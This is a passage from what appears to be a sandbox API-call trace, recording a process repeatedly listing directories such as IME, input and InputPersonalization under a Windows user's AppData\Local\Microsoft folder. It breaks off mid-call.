ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.189] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMEJP", cAlternateFileName="")) returned 1 [0179.189] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMEJP", cAlternateFileName="")) returned 0 [0179.189] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0179.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.189] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0", lpFilePart=0x0) returned 0x30 [0179.189] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0179.189] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.189] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMEJP", cAlternateFileName="")) returned 1 [0179.190] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.190] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.190] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0\\IMEJP", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0\\IMEJP", lpFilePart=0x0) returned 0x36 [0179.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.190] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0\\IMEJP", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0\\IMEJP", lpFilePart=0x0) returned 0x36 [0179.190] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0\\IMEJP\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0179.190] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.190] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x2299957b, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x2299957b, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0179.191] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dicts", cAlternateFileName="")) returned 1 [0179.191] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dicts", cAlternateFileName="")) returned 0 [0179.191] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0179.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.191] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input", lpFilePart=0x0) returned 0x2d [0179.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.191] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input", lpFilePart=0x0) returned 0x2d [0179.191] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.192] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.192] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="neutral", cAlternateFileName="")) returned 1 [0179.192] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="neutral", cAlternateFileName="")) returned 0 [0179.192] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.192] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input", lpFilePart=0x0) returned 0x2d [0179.192] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.193] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.193] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="neutral", cAlternateFileName="")) returned 1 [0179.193] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.193] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.193] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input\\neutral", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input\\neutral", lpFilePart=0x0) returned 0x35 [0179.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.193] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input\\neutral", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input\\neutral", lpFilePart=0x0) returned 0x35 [0179.193] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input\\neutral\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0179.193] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.194] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.194] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0179.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.194] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input\\neutral", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input\\neutral", lpFilePart=0x0) returned 0x35 [0179.194] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input\\neutral\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.194] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.194] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.195] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.195] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization", lpFilePart=0x0) returned 0x3c [0179.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.195] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization", lpFilePart=0x0) returned 0x3c [0179.195] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabf27288, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabf27288, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0179.196] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabf27288, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabf27288, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.196] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 1 [0179.196] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 0 [0179.196] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0179.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.196] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization", lpFilePart=0x0) returned 0x3c [0179.196] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabf27288, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabf27288, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.196] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabf27288, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabf27288, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.197] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 1 [0179.197] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.197] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.197] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpFilePart=0x0) returned 0x4d [0179.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.197] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpFilePart=0x0) returned 0x4d [0179.197] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f490 [0179.199] FindNextFileW (in: 